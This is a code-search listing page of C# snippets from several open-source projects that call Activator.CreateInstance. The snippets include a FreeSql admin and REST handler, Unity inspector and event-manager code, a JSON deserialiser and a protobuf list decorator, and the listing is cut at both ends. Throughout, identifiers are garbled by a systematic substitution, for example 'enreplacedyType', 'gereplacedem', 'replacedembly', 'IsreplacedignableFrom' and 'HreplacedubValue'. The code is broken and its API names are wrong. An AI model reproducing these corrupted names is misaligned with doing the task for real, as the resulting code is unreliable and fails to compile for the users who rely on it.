								foreach (var getcol in tb.ColumnsByCs) {
									gethash.Add(getcol.Key, tb.Properties[getcol.Key].GetValue(gereplacedem));
								}
							}
						}

						if (req.Method.ToLower() == "get") {
							MakeTemplateFile($"{enreplacedyName}-edit.html", Views.Edit);

							//ManyToOne/OneToOne
							var getlistFilter = new Dictionary<string, (TableRef, string, string, Dictionary<string, object>, List<Dictionary<string, object>>)>();
							var getlistManyed = new Dictionary<string, IEnumerable<string>>();
							foreach (var prop in tb.Properties) {
								if (tb.ColumnsByCs.ContainsKey(prop.Key)) continue;
								var tbref = tb.GetTableRef(prop.Key, false);
								if (tbref == null) continue;
								switch (tbref.RefType) {
									case TableRefType.OneToMany: continue;
									case TableRefType.ManyToOne:
										getlistFilter.Add(prop.Key, await Utils.GetTableRefData(fsql, tbref));
										continue;
									case TableRefType.OneToOne:
										continue;
									case TableRefType.ManyToMany:
										getlistFilter.Add(prop.Key, await Utils.GetTableRefData(fsql, tbref));

										if (gereplacedem != null) {
											var midType = tbref.RefMiddleEnreplacedyType;
											var midTb = fsql.CodeFirst.GetTableByEnreplacedy(midType);
											var manyed = await fsql.Select<object>().AsType(midType)
												.Where(Utils.GetObjectWhereExpression(midTb, midType, tbref.MiddleColumns[0].CsName, fsql.GetEnreplacedyKeyValues(enreplacedyType, gereplacedem)[0]))
												.ToListAsync();
											getlistManyed.Add(prop.Key, manyed.Select(a => fsql.GetEnreplacedyValueWithPropertyName(midType, a, tbref.MiddleColumns[1].CsName).ToString()));
										}
										continue;
								}
							}

							var options = new Dictionary<string, object>();
							options["tb"] = tb;
							options["gethash"] = gethash;
							options["getlistFilter"] = getlistFilter;
							options["getlistManyed"] = getlistManyed;
							options["postaction"] = $"{requestPathBase}restful-api/{enreplacedyName}";
							var str = _tpl.Value.RenderFile($"{enreplacedyName}-edit.html", options);
							await res.WriteAsync(str);

						} else {
							if (gereplacedem == null) {
								gereplacedem = Activator.CreateInstance(enreplacedyType);
								foreach(var getcol in tb.Columns.Values) {
									if (new[] { typeof(DateTime), typeof(DateTime?) }.Contains(getcol.CsType) && new[] { "create_time", "createtime" }.Contains(getcol.CsName.ToLower()))
										fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, gereplacedem, getcol.CsName, DateTime.Now);
								}
							}
							var manySave = new List<(TableRef, object[], List<object>)>();
							if (req.Form.Any()) {
								foreach(var getcol in tb.Columns.Values) {
									if (new[] { typeof(DateTime), typeof(DateTime?) }.Contains(getcol.CsType) && new[] { "update_time", "updatetime" }.Contains(getcol.CsName.ToLower()))
										fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, gereplacedem, getcol.CsName, DateTime.Now);

									var reqv = req.Form[getcol.CsName].ToArray();
									if (reqv.Any())
										fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, gereplacedem, getcol.CsName, reqv.Length == 1 ? (object)reqv.FirstOrDefault() : reqv);
								}
								//ManyToMany
								foreach (var prop in tb.Properties) {
									if (tb.ColumnsByCs.ContainsKey(prop.Key)) continue;
									var tbref = tb.GetTableRef(prop.Key, false);
									if (tbref == null) continue;
									switch (tbref.RefType) {
										case TableRefType.OneToMany: continue;
										case TableRefType.ManyToOne:
											continue;
										case TableRefType.OneToOne:
											continue;
										case TableRefType.ManyToMany:
											var midType = tbref.RefMiddleEnreplacedyType;
											var mtb = fsql.CodeFirst.GetTableByEnreplacedy(midType);

											var reqv = req.Form[$"mn_{prop.Key}"].ToArray();
											var reqvIndex = 0;
											var manyVals = new object[reqv.Length];
											foreach (var rv in reqv) {
												var miditem = Activator.CreateInstance(midType);
												foreach (var getcol in tb.Columns.Values) {
													if (new[] { typeof(DateTime), typeof(DateTime?) }.Contains(getcol.CsType) && new[] { "create_time", "createtime" }.Contains(getcol.CsName.ToLower()))
														fsql.SetEnreplacedyValueWithPropertyName(midType, miditem, getcol.CsName, DateTime.Now);

													if (new[] { typeof(DateTime), typeof(DateTime?) }.Contains(getcol.CsType) && new[] { "update_time", "updatetime" }.Contains(getcol.CsName.ToLower()))
														fsql.SetEnreplacedyValueWithPropertyName(midType, miditem, getcol.CsName, DateTime.Now);
												}
												//fsql.SetEnreplacedyValueWithPropertyName(midType, miditem, tbref.MiddleColumns[0].CsName, fsql.GetEnreplacedyKeyValues(enreplacedyType, gereplacedem)[0]);
												fsql.SetEnreplacedyValueWithPropertyName(midType, miditem, tbref.MiddleColumns[1].CsName, rv);
												manyVals[reqvIndex++] = miditem;
											}
											var molds = await fsql.Select<object>().AsType(midType).Where(Utils.GetObjectWhereExpression(mtb, midType, tbref.MiddleColumns[0].CsName, fsql.GetEnreplacedyKeyValues(enreplacedyType, gereplacedem)[0])).ToListAsync();
											manySave.Add((tbref, manyVals, molds));
											continue;
									}
								}
							}


							using (var db = fsql.CreateDbContext()) {

								var dbset = db.Set<object>();
								dbset.AsType(enreplacedyType);

								await dbset.AddOrUpdateAsync(gereplacedem);

								foreach (var ms in manySave) {
									var midType = ms.Item1.RefMiddleEnreplacedyType;
									var moldsDic = ms.Item3.ToDictionary(a => fsql.GetEnreplacedyKeyString(midType, a, true));

									var manyset = db.Set<object>();
									manyset.AsType(midType);
									
									foreach (var msVal in ms.Item2) {
										fsql.SetEnreplacedyValueWithPropertyName(midType, msVal, ms.Item1.MiddleColumns[0].CsName, fsql.GetEnreplacedyKeyValues(enreplacedyType, gereplacedem)[0]);
										await manyset.AddOrUpdateAsync(msVal);
										moldsDic.Remove(fsql.GetEnreplacedyKeyString(midType, msVal, true));
									}
									manyset.RemoveRange(moldsDic.Values);
								}

								await db.SaveChangesAsync();
							}
							gethash = new Dictionary<string, object>();
							foreach (var getcol in tb.ColumnsByCs) {
								gethash.Add(getcol.Key, tb.Properties[getcol.Key].GetValue(gereplacedem));
							}

							await Utils.Jsonp(context, new { code = 0, success = true, message = "Success", data = gethash });
						}
						return true;
					case "del":
						if (req.Method.ToLower() == "post") {

							var delitems = new List<object>();
							var reqv = new List<string[]>();
							foreach(var delpk in tb.Primarys) {
								var reqvs = req.Form[delpk.CsName].ToArray();
								if (reqv.Count > 0 && reqvs.Length != reqv[0].Length) throw new Exception("删除失败,联合主键参数传递不对等");
								reqv.Add(reqvs);
							}
							if (reqv[0].Length == 0) return true;

							using (var ctx = fsql.CreateDbContext()) {
								var dbset = ctx.Set<object>();
								dbset.AsType(enreplacedyType);

								for (var a = 0; a < reqv[0].Length; a++) {
									object delitem = Activator.CreateInstance(enreplacedyType);
									var delpkindex = 0;
									foreach (var delpk in tb.Primarys)
										fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, delitem, delpk.CsName, reqv[delpkindex++][a]);
									dbset.Remove(delitem);
								}
								await ctx.SaveChangesAsync();
							}

							await Utils.Jsonp(context, new { code = 0, success = true, message = "Success" });
							return true;
						}
						break;
				}
			}
			return false;
		}

19 View Source File : DbSet.cs
License : MIT License
Project Creator : 2881099

EnreplacedyState CreateEnreplacedyState(TEnreplacedy data) {
			if (data == null) throw new ArgumentNullException(nameof(data));
			var key = _fsql.GetEnreplacedyKeyString(_enreplacedyType, data, false);
			var state = new EnreplacedyState((TEnreplacedy)Activator.CreateInstance(_enreplacedyType), key);
			_fsql.MapEnreplacedyValue(_enreplacedyType, data, state.Value);
			return state;
		}

19 View Source File : Restful.cs
License : MIT License
Project Creator : 2881099

async public static Task<bool> Use(HttpContext context, IFreeSql fsql, string restfulRequestPath, Dictionary<string, Type> dicEnreplacedyTypes) {
			HttpRequest req = context.Request;
			HttpResponse res = context.Response;

			var remUrl = req.Path.ToString().Substring(restfulRequestPath.Length).Trim(' ', '/').Split('/');
			var enreplacedyName = remUrl.FirstOrDefault();

			if (!string.IsNullOrEmpty(enreplacedyName)) {

				if (dicEnreplacedyTypes.TryGetValue(enreplacedyName, out var enreplacedyType) == false) throw new Exception($"UseFreeAdminLtePreview 错误,找不到实体类型:{enreplacedyName}");

				var tb = fsql.CodeFirst.GetTableByEnreplacedy(enreplacedyType);
				if (tb == null) throw new Exception($"UseFreeAdminLtePreview 错误,实体类型无法映射:{enreplacedyType.FullName}");

				using (var db = new FreeContext(fsql)) {
					var dbset = db.Set<object>();
					dbset.AsType(enreplacedyType);

					switch (req.Method.ToLower()) {
						case "get":
							if (remUrl.Length == 1) {
								int.TryParse(req.Query["page"].FirstOrDefault(), out var getpage);
								int.TryParse(req.Query["limit"].FirstOrDefault(), out var getlimit);
								if (getpage <= 0) getpage = 1;
								if (getlimit <= 0) getlimit = 20;
								long getlistTotal = 0;

								var getselect = fsql.Select<object>().AsType(enreplacedyType);
								if (getpage == 1) getlistTotal = await getselect.CountAsync();
								var getlist = await getselect.Page(getpage, getlimit).ToListAsync();
								var gethashlists = new Dictionary<string, object>[getlist.Count];
								var gethashlistsIndex = 0;
								foreach (var getlisreplacedem in getlist) {
									var gethashlist = new Dictionary<string, object>();
									foreach (var getcol in tb.ColumnsByCs) {
										gethashlist.Add(getcol.Key, tb.Properties[getcol.Key].GetValue(getlisreplacedem));
									}
									gethashlists[gethashlistsIndex++] = gethashlist;
								}
								if (getpage == 1) {
									await Utils.Jsonp(context, new { code = 0, message = "Success", data = gethashlists, totalCount = getlistTotal });
									return true;
								}
								await Utils.Jsonp(context, new { code = 0, message = "Success", data = gethashlists });
								return true;
							}
							if (remUrl.Length - 1 != tb.Primarys.Length) throw new Exception($"UseFreeAdminLtePreview 查询,参数数目与主键不匹配,应该相同");
							var gereplacedem = Activator.CreateInstance(enreplacedyType);
							var getindex = 1;
							foreach (var getpk in tb.Primarys)
								fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, gereplacedem, getpk.CsName, remUrl[getindex++]);
							gereplacedem = await fsql.Select<object>().AsType(enreplacedyType).WhereDynamic(gereplacedem).FirstAsync();
							var gethash = new Dictionary<string, object>();
							foreach (var getcol in tb.ColumnsByCs) {
								gethash.Add(getcol.Key, tb.Properties[getcol.Key].GetValue(gereplacedem));
							}
							await Utils.Jsonp(context, new { code = 0, message = "Success", data = gethash });
							return true;
						case "post":
							var postbodyraw = await Utils.GetBodyRawText(req);
							var postjsonitem = Newtonsoft.Json.JsonConvert.DeserializeObject(postbodyraw, enreplacedyType);
							await dbset.AddAsync(postjsonitem);
							await db.SaveChangesAsync();
							await Utils.Jsonp(context, new { code = 0, message = "Success", data = postjsonitem });
							return true;
						case "put":
							if (remUrl.Length - 1 != tb.Primarys.Length) throw new Exception($"UseFreeAdminLtePreview 更新错误,参数数目与主键不匹配,应该相同");
							var putbodyraw = await Utils.GetBodyRawText(req);
							var putjsonitem = Newtonsoft.Json.JsonConvert.DeserializeObject(putbodyraw, enreplacedyType);
							var putindex = 1;
							foreach (var putpk in tb.Primarys)
								fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, putjsonitem, putpk.CsName, remUrl[putindex++]);
							await dbset.UpdateAsync(putjsonitem);
							await db.SaveChangesAsync();
							await Utils.Jsonp(context, new { code = 0, message = "Success" });
							return true;
						case "delete":
							if (remUrl.Length - 1 != tb.Primarys.Length) throw new Exception($"UseFreeAdminLtePreview 删除错误,参数数目与主键不匹配,应该相同");
							var delitem = Activator.CreateInstance(enreplacedyType);
							var delindex = 1;
							foreach (var delpk in tb.Primarys)
								fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, delitem, delpk.CsName, remUrl[delindex++]);
							dbset.Remove(delitem);
							await db.SaveChangesAsync();
							await Utils.Jsonp(context, new { code = 0, message = "Success" });
							return true;
					}
				}
			}
			return false;
		}

19 View Source File : ObjectTypeUtil.cs
License : MIT License
Project Creator : 404Lcc

public static void Draw(object obj, int indentLevel)
        {
            EditorGUILayout.BeginVertical();
            EditorGUI.indentLevel = indentLevel;
            string replacedemblyName = string.Empty;
            switch (Path.GetFileNameWithoutExtension(obj.GetType().replacedembly.ManifestModule.Name))
            {
                case "Unity.Model":
                    replacedemblyName = "Unity.Model";
                    break;
                case "Unity.Hotfix":
                    replacedemblyName = "Unity.Hotfix";
                    break;
                case "ILRuntime":
                    replacedemblyName = "Unity.Hotfix";
                    break;
            }
            if (replacedemblyName == "Unity.Model")
            {
                FieldInfo[] fieldInfos = obj.GetType().GetFields(BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance | BindingFlags.FlattenHierarchy);
                foreach (FieldInfo item in fieldInfos)
                {
                    object value = item.GetValue(obj);
                    Type type = item.FieldType;
                    if (item.IsDefined(typeof(HideInInspector), false))
                    {
                        continue;
                    }
                    if (type.IsDefined(typeof(HideInInspector), false))
                    {
                        continue;
                    }
                    if (objectObjectTypes.ContainsKey((obj, item)))
                    {
                        ObjectObjectType objectObjectType = (ObjectObjectType)objectObjectTypes[(obj, item)];
                        objectObjectType.Draw(type, item.Name, value, null, indentLevel);
                        continue;
                    }
                    if ((item.IsDefined(typeof(SerializeField), false) || type.IsDefined(typeof(SerializeField), false)) && type.replacedembly.ManifestModule.Name == "Unity.Model.dll")
                    {
                        ObjectObjectType objectObjectType = new ObjectObjectType();
                        if (value == null)
                        {
                            object instance = Activator.CreateInstance(type);
                            objectObjectType.Draw(type, item.Name, instance, null, indentLevel);
                            item.SetValue(obj, instance);
                        }
                        else
                        {
                            objectObjectType.Draw(type, item.Name, value, null, indentLevel);
                        }
                        objectObjectTypes.Add((obj, item), objectObjectType);
                        continue;
                    }
                    if (listObjectTypes.ContainsKey((obj, item)))
                    {
                        ListObjectType listObjectType = (ListObjectType)listObjectTypes[(obj, item)];
                        listObjectType.Draw(type, item.Name, value, null, indentLevel);
                        continue;
                    }
                    if (type.GetInterface("IList") != null)
                    {
                        ListObjectType listObjectType = new ListObjectType();
                        if (value == null)
                        {
                            continue;
                        }
                        listObjectType.Draw(type, item.Name, value, null, indentLevel);
                        listObjectTypes.Add((obj, item), listObjectType);
                        continue;
                    }
                    foreach (IObjectType objectTypeItem in objectList)
                    {
                        if (!objectTypeItem.IsType(type))
                        {
                            continue;
                        }
                        string fieldName = item.Name;
                        if (fieldName.Contains("clrInstance") || fieldName.Contains("Boxed"))
                        {
                            continue;
                        }
                        if (fieldName.Length > 17 && fieldName.Contains("k__BackingField"))
                        {
                            fieldName = fieldName.Substring(1, fieldName.Length - 17);
                        }
                        value = objectTypeItem.Draw(type, fieldName, value, null);
                        item.SetValue(obj, value);
                    }
                }
            }
            else
            {
#if ILRuntime
                FieldInfo[] fieldInfos = ILRuntimeManager.Instance.appdomain.LoadedTypes[obj.ToString()].ReflectionType.GetFields(BindingFlags.Public | BindingFlags.Instance | BindingFlags.FlattenHierarchy);
                foreach (FieldInfo item in fieldInfos)
                {
                    object value = item.GetValue(obj);
                    if (item.FieldType is ILRuntimeWrapperType)
                    {
                        //基础类型绘制
                        Type type = ((ILRuntimeWrapperType)item.FieldType).RealType;
                        if (item.IsDefined(typeof(HideInInspector), false))
                        {
                            continue;
                        }
                        if (type.IsDefined(typeof(HideInInspector), false))
                        {
                            continue;
                        }
                        if (listObjectTypes.ContainsKey((obj, item)))
                        {
                            ListObjectType listObjectType = (ListObjectType)listObjectTypes[(obj, item)];
                            listObjectType.Draw(type, item.Name, value, null, indentLevel);
                            continue;
                        }
                        if (type.GetInterface("IList") != null)
                        {
                            ListObjectType listObjectType = new ListObjectType();
                            if (value == null)
                            {
                                continue;
                            }
                            listObjectType.Draw(type, item.Name, value, null, indentLevel);
                            listObjectTypes.Add((obj, item), listObjectType);
                            continue;
                        }
                        foreach (IObjectType objectTypeItem in objectList)
                        {
                            if (!objectTypeItem.IsType(type))
                            {
                                continue;
                            }
                            string fieldName = item.Name;
                            if (fieldName.Contains("clrInstance") || fieldName.Contains("Boxed"))
                            {
                                continue;
                            }
                            if (fieldName.Length > 17 && fieldName.Contains("k__BackingField"))
                            {
                                fieldName = fieldName.Substring(1, fieldName.Length - 17);
                            }
                            value = objectTypeItem.Draw(type, fieldName, value, null);
                            item.SetValue(obj, value);
                        }
                    }
                    else
                    {
                        //自定义类型绘制
                        Type type = item.FieldType;
                        if (item.IsDefined(typeof(HideInInspector), false))
                        {
                            continue;
                        }
                        if (type.IsDefined(typeof(HideInInspector), false))
                        {
                            continue;
                        }
                        if (objectObjectTypes.ContainsKey((obj, item)))
                        {
                            ObjectObjectType objectObjectType = (ObjectObjectType)objectObjectTypes[(obj, item)];
                            objectObjectType.Draw(type, item.Name, value, null, indentLevel);
                            continue;
                        }
                        if ((item.IsDefined(typeof(SerializeField), false) || type.IsDefined(typeof(SerializeField), false)) && type.replacedembly.ManifestModule.Name == "ILRuntime.dll")
                        {
                            ObjectObjectType objectObjectType = new ObjectObjectType();
                            if (value == null)
                            {
                                object instance = ILRuntimeManager.Instance.appdomain.Instantiate(type.ToString());
                                objectObjectType.Draw(type, item.Name, instance, null, indentLevel);
                                item.SetValue(obj, instance);
                            }
                            else
                            {
                                objectObjectType.Draw(type, item.Name, value, null, indentLevel);
                            }
                            objectObjectTypes.Add((obj, item), objectObjectType);
                            continue;
                        }
                    }
                }
#else
                FieldInfo[] fieldInfos = obj.GetType().GetFields(BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance | BindingFlags.FlattenHierarchy);
                foreach (FieldInfo item in fieldInfos)
                {
                    object value = item.GetValue(obj);
                    Type type = item.FieldType;
                    if (item.IsDefined(typeof(HideInInspector), false))
                    {
                        continue;
                    }
                    if (type.IsDefined(typeof(HideInInspector), false))
                    {
                        continue;
                    }
                    if (objectObjectTypes.ContainsKey((obj, item)))
                    {
                        ObjectObjectType objectObjectType = (ObjectObjectType)objectObjectTypes[(obj, item)];
                        objectObjectType.Draw(type, item.Name, value, null, indentLevel);
                        continue;
                    }
                    if ((item.IsDefined(typeof(SerializeField), false) || type.IsDefined(typeof(SerializeField), false)) && type.replacedembly.ManifestModule.Name == "Unity.Hotfix.dll")
                    {
                        ObjectObjectType objectObjectType = new ObjectObjectType();
                        if (value == null)
                        {
                            object instance = Activator.CreateInstance(type);
                            objectObjectType.Draw(type, item.Name, instance, null, indentLevel);
                            item.SetValue(obj, instance);
                        }
                        else
                        {
                            objectObjectType.Draw(type, item.Name, value, null, indentLevel);
                        }
                        objectObjectTypes.Add((obj, item), objectObjectType);
                        continue;
                    }
                    if (listObjectTypes.ContainsKey((obj, item)))
                    {
                        ListObjectType listObjectType = (ListObjectType)listObjectTypes[(obj, item)];
                        listObjectType.Draw(type, item.Name, value, null, indentLevel);
                        continue;
                    }
                    if (type.GetInterface("IList") != null)
                    {
                        ListObjectType listObjectType = new ListObjectType();
                        if (value == null)
                        {
                            continue;
                        }
                        listObjectType.Draw(type, item.Name, value, null, indentLevel);
                        listObjectTypes.Add((obj, item), listObjectType);
                        continue;
                    }
                    foreach (IObjectType objectTypeItem in objectList)
                    {
                        if (!objectTypeItem.IsType(type))
                        {
                            continue;
                        }
                        string fieldName = item.Name;
                        if (fieldName.Contains("clrInstance") || fieldName.Contains("Boxed"))
                        {
                            continue;
                        }
                        if (fieldName.Length > 17 && fieldName.Contains("k__BackingField"))
                        {
                            fieldName = fieldName.Substring(1, fieldName.Length - 17);
                        }
                        value = objectTypeItem.Draw(type, fieldName, value, null);
                        item.SetValue(obj, value);
                    }
                }
#endif
                EditorGUI.indentLevel = indentLevel;
                EditorGUILayout.EndVertical();
            }
        }

19 View Source File : NumericEventManager.cs
License : MIT License
Project Creator : 404Lcc

public void InitManager()
        {
            foreach (Type item in Manager.Instance.types.Values)
            {
                if (item.IsAbstract) continue;
                NumericEventHandlerAttribute[] numericEventHandlerAttributes = (NumericEventHandlerAttribute[])item.GetCustomAttributes(typeof(NumericEventHandlerAttribute), false);
                foreach (NumericEventHandlerAttribute numericEventHandlerAttributeItem in numericEventHandlerAttributes)
                {
                    INumericEvent iNumericEvent = (INumericEvent)Activator.CreateInstance(item);
                    if (!numericEvents.ContainsKey(numericEventHandlerAttributeItem.numericType))
                    {
                        numericEvents.Add(numericEventHandlerAttributeItem.numericType, new List<INumericEvent>());
                    }
                    ((List<INumericEvent>)numericEvents[numericEventHandlerAttributeItem.numericType]).Add(iNumericEvent);
                }
            }
        }

19 View Source File : UIEventManager.cs
License : MIT License
Project Creator : 404Lcc

public void InitManager()
        {
            foreach (Type item in Manager.Instance.types.Values)
            {
                if (item.IsAbstract) continue;
                UIEventHandlerAttribute[] uiEventHandlerAttributes = (UIEventHandlerAttribute[])item.GetCustomAttributes(typeof(UIEventHandlerAttribute), false);
                if (uiEventHandlerAttributes.Length > 0)
                {
                    UIEvent uiEvent = (UIEvent)Activator.CreateInstance(item);
                    uiEvents.Add(uiEventHandlerAttributes[0].uiEventType, uiEvent);
                }
            }
        }

19 View Source File : ObjectBaseFactory.cs
License : MIT License
Project Creator : 404Lcc

public static AObjectBase Create(Type type, AObjectBase parent = null, params object[] datas)
        {
            AObjectBase aObjectBase = (AObjectBase)Activator.CreateInstance(type);
            aObjectBase.id = IdUtil.Generate();
            aObjectBase.Parent = parent;
            aObjectBase.InitData(datas);
            ObjectBaseEventSystem.Instance.Register(aObjectBase);
            ObjectBaseEventSystem.Instance.Awake(aObjectBase);
            return aObjectBase;
        }

19 View Source File : JsonMapper.cs
License : MIT License
Project Creator : 404Lcc

private static object ReadValue (Type inst_type, JsonReader reader)
        {
            reader.Read ();

            if (reader.Token == JsonToken.ArrayEnd)
                return null;

            //ILRuntime doesn't support nullable valuetype
            Type underlying_type = inst_type;//Nullable.GetUnderlyingType(inst_type);
            Type value_type = inst_type;

            if (reader.Token == JsonToken.Null) {
                if (inst_type.IsClreplaced || underlying_type != null) {
                    return null;
                }

                throw new JsonException (String.Format (
                            "Can't replacedign null to an instance of type {0}",
                            inst_type));
            }

            if (reader.Token == JsonToken.Double ||
                reader.Token == JsonToken.Int ||
                reader.Token == JsonToken.Long ||
                reader.Token == JsonToken.String ||
                reader.Token == JsonToken.Boolean) {

                Type json_type = reader.Value.GetType();
                var vt = value_type is ILRuntime.Reflection.ILRuntimeWrapperType ? ((ILRuntime.Reflection.ILRuntimeWrapperType)value_type).CLRType.TypeForCLR : value_type;

                if (vt.IsreplacedignableFrom(json_type))
                    return reader.Value;
                if (vt is ILRuntime.Reflection.ILRuntimeType && ((ILRuntime.Reflection.ILRuntimeType)vt).ILType.IsEnum)
                {
                    if (json_type == typeof(int) || json_type == typeof(long) || json_type == typeof(short) || json_type == typeof(byte))
                        return reader.Value;
                }
                // If there's a custom importer that fits, use it
                if (custom_importers_table.ContainsKey (json_type) &&
                    custom_importers_table[json_type].ContainsKey (
                        vt)) {

                    ImporterFunc importer =
                        custom_importers_table[json_type][vt];

                    return importer (reader.Value);
                }

                // Maybe there's a base importer that works
                if (base_importers_table.ContainsKey (json_type) &&
                    base_importers_table[json_type].ContainsKey (
                        vt)) {

                    ImporterFunc importer =
                        base_importers_table[json_type][vt];

                    return importer (reader.Value);
                }

                // Maybe it's an enum
                if (vt.IsEnum)
                    return Enum.ToObject (vt, reader.Value);

                // Try using an implicit conversion operator
                MethodInfo conv_op = GetConvOp (vt, json_type);

                if (conv_op != null)
                    return conv_op.Invoke (null,
                                           new object[] { reader.Value });

                // No luck
                throw new JsonException (String.Format (
                        "Can't replacedign value '{0}' (type {1}) to type {2}",
                        reader.Value, json_type, inst_type));
            }

            object instance = null;

            if (reader.Token == JsonToken.ArrayStart) {

                AddArrayMetadata (inst_type);
                ArrayMetadata t_data = array_metadata[inst_type];

                if (! t_data.IsArray && ! t_data.IsList)
                    throw new JsonException (String.Format (
                            "Type {0} can't act as an array",
                            inst_type));

                IList list;
                Type elem_type;

                if (! t_data.IsArray) {
                    list = (IList) Activator.CreateInstance (inst_type);
                    elem_type = t_data.ElementType;
                } else {
                    list = new ArrayList ();
                    elem_type = inst_type.GetElementType ();
                }

                while (true) {
                    object item = ReadValue (elem_type, reader);
                    if (item == null && reader.Token == JsonToken.ArrayEnd)
                        break;
                    var rt = elem_type is ILRuntime.Reflection.ILRuntimeWrapperType ? ((ILRuntime.Reflection.ILRuntimeWrapperType)elem_type).RealType : elem_type;
                    if (elem_type is ILRuntime.Reflection.ILRuntimeType && ((ILRuntime.Reflection.ILRuntimeType)elem_type).ILType.IsEnum)
                    {
                        item = (int) item;
                    }
                    else
                    {
                        item = rt.CheckCLRTypes(item);            
                    }
                    list.Add (item);         
                    
                }

                if (t_data.IsArray) {
                    int n = list.Count;
                    instance = Array.CreateInstance (elem_type, n);

                    for (int i = 0; i < n; i++)
                        ((Array) instance).SetValue (list[i], i);
                } else
                    instance = list;

            } else if (reader.Token == JsonToken.ObjectStart)
            {
                AddObjectMetadata(value_type);
                ObjectMetadata t_data = object_metadata[value_type];
                if (value_type is ILRuntime.Reflection.ILRuntimeType)
                    instance = ((ILRuntime.Reflection.ILRuntimeType) value_type).ILType.Instantiate();
                else
                    instance = Activator.CreateInstance(value_type);
                bool isIntKey = t_data.IsDictionary && value_type.GetGenericArguments()[0] == typeof(int);
                while (true)
                {
                    reader.Read();

                    if (reader.Token == JsonToken.ObjectEnd)
                        break;

                    string key = (string) reader.Value;

                    if (t_data.Properties.ContainsKey(key))
                    {
                        PropertyMetadata prop_data =
                            t_data.Properties[key];

                        if (prop_data.IsField)
                        {
                            ((FieldInfo) prop_data.Info).SetValue(
                                instance, ReadValue(prop_data.Type, reader));
                        }
                        else
                        {
                            PropertyInfo p_info =
                                (PropertyInfo) prop_data.Info;

                            if (p_info.CanWrite)
                                p_info.SetValue(
                                    instance,
                                    ReadValue(prop_data.Type, reader),
                                    null);
                            else
                                ReadValue(prop_data.Type, reader);
                        }

                    }
                    else
                    {
                        if (!t_data.IsDictionary)
                        {

                            if (!reader.SkipNonMembers)
                            {
                                throw new JsonException(String.Format(
                                    "The type {0} doesn't have the " +
                                    "property '{1}'",
                                    inst_type, key));
                            }
                            else
                            {
                                ReadSkip(reader);
                                continue;
                            }
                        }

                        var dict = ((IDictionary) instance);
                        var elem_type = t_data.ElementType;
                        object readValue = ReadValue(elem_type, reader);
                        var rt = t_data.ElementType is ILRuntime.Reflection.ILRuntimeWrapperType
                            ? ((ILRuntime.Reflection.ILRuntimeWrapperType) t_data.ElementType).RealType
                            : t_data.ElementType;
                        //value 是枚举的情况没处理,毕竟少
                        if (isIntKey)
                        {
                            var dictValueType = value_type.GetGenericArguments()[1];
                            IConvertible convertible = dictValueType as IConvertible;
                            if (convertible == null)
                            {
                                //自定义类型扩展
                                if (dictValueType == typeof(double)) //CheckCLRTypes() 没有double,也可以修改ilruntime源码实现
                                {
                                    var v = Convert.ChangeType(readValue.ToString(), dictValueType);
                                    dict.Add(Convert.ToInt32(key), v);
                                }
                                else
                                {
                                    readValue = rt.CheckCLRTypes(readValue);
                                    dict.Add(Convert.ToInt32(key), readValue);
                                    // throw new JsonException (String.Format("The type {0} doesn't not support",dictValueType));
                                }
                            }
                            else
                            {
                                var v = Convert.ChangeType(readValue, dictValueType);
                                dict.Add(Convert.ToInt32(key), v);
                            }
                        }
                        else
                        {
                            readValue = rt.CheckCLRTypes(readValue);
                            dict.Add(key, readValue);
                        }
                    }

                }
            }

            return instance;
        }

19 View Source File : EventManager.cs
License : MIT License
Project Creator : 404Lcc

public void InitManager()
        {
            foreach (Type item in Manager.Instance.types.Values)
            {
                if (item.IsAbstract) continue;
                EventHandlerAttribute[] eventHandlerAttributes = (EventHandlerAttribute[])item.GetCustomAttributes(typeof(EventHandlerAttribute), false);
                if (eventHandlerAttributes.Length > 0)
                {
                    IEvent iEvent = (IEvent)Activator.CreateInstance(item);
                    events.Add(iEvent.EventType(), iEvent);
                }
            }
        }

19 View Source File : RegisterCrossBindingAdaptorHelper.cs
License : MIT License
Project Creator : 404Lcc

public static void RegisterCrossBindingAdaptor(AppDomain appdomain)
        {
            foreach (Type item in typeof(Init).replacedembly.GetTypes().ToList().FindAll(item => item.IsSubclreplacedOf(typeof(CrossBindingAdaptor))))
            {
                object obj = Activator.CreateInstance(item);
                if (!(obj is CrossBindingAdaptor))
                {
                    continue;
                }
                appdomain.RegisterCrossBindingAdaptor((CrossBindingAdaptor)obj);
            }
        }

19 View Source File : TypeFuzzer.cs
License : Apache License 2.0
Project Creator : 42skillz

private IEnumerable GenerateListOf(Type type, int recursionLevel)
        {
            var typeGenericTypeArguments = type.GenericTypeArguments;

            var listType = typeof(List<>);
            var constructedListType = listType.MakeGenericType(typeGenericTypeArguments);

            // Instantiates a collection of ...
            var list = Activator.CreateInstance(constructedListType) as IList;

            // Add 5 elements of this type
            for (var i = 0; i < MaxCountToFuzzInLists; i++)
            {
                list.Add(GenerateInstanceOf(typeGenericTypeArguments.Single(), recursionLevel));
            }

            return list;
        }

19 View Source File : ListDecorator.cs
License : MIT License
Project Creator : 404Lcc

public override object Read(object value, ProtoReader source)
        {
            try
            {
                int field = source.FieldNumber;
                object origValue = value;
                if (value == null) value = Activator.CreateInstance(concreteType);
                bool isList = IsList && !SuppressIList;
                if (packedWireType != WireType.None && source.WireType == WireType.String)
                {
                    SubItemToken token = ProtoReader.StartSubItem(source);
                    if (isList)
                    {
                        IList list = (IList)value;
                        while (ProtoReader.HreplacedubValue(packedWireType, source))
                        {
                            list.Add(Tail.Read(null, source));
                        }
                    }
                    else
                    {
                        object[] args = new object[1];
                        while (ProtoReader.HreplacedubValue(packedWireType, source))
                        {
                            args[0] = Tail.Read(null, source);
                            add.Invoke(value, args);
                        }
                    }
                    ProtoReader.EndSubItem(token, source);
                }
                else
                {
                    if (isList)
                    {
                        IList list = (IList)value;
                        do
                        {
                            list.Add(Tail.Read(null, source));
                        } while (source.TryReadFieldHeader(field));
                    }
                    else
                    {
                        object[] args = new object[1];
                        do
                        {
                            args[0] = Tail.Read(null, source);
                            add.Invoke(value, args);
                        } while (source.TryReadFieldHeader(field));
                    }
                }
                return origValue == value ? null : value;
            } catch(TargetInvocationException tie)
            {
                if (tie.InnerException != null) throw tie.InnerException;
                throw;
            }
        }

19 View Source File : MapDecorator.cs
